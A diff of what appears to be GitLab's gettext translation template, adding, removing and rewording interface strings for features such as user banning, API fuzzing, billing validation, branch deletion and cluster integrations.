msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
